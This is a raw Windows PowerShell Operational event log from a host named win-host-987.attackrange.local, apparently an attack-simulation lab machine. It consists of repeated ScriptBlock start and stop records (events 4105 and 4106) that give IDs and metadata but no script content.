SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035661
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035660
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035659
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035658
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035657
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035656
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035655
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035654
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035653
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035652
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035651
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035650
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035649
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035648
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035647
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035646
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035645
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035644
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035643
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035642
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035641
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035640
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035639
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035638
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035637
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035636
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035635
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035634
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035633
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035632
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035631
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035630
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035629
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035628
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035627
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035626
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035625
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035624
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035623
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035622
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035621
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035620
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035619
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035618
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035617
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035616
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035615
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035614
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035613
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035612
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035611
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035610
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035609
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
